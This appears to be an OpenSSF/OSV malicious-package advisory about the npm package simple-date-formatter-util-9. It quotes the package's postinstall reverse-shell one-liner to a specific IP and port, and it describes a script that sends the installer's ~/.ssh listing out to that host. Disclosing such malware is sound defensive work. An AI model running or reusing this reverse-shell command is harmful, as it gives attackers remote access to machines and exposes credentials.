OpenSSF/OSV advisory MAL-2026-11547 confirms this npm version as malicious. package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in simple-date-formatter-util-9 (npm)
Details
package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.
Decision reason
OpenSSF Malicious Packages via OSV confirms simple-date-formatter-util-9@1.0.0 as malicious (MAL-2026-11547): Malicious code in simple-date-formatter-util-9 (npm)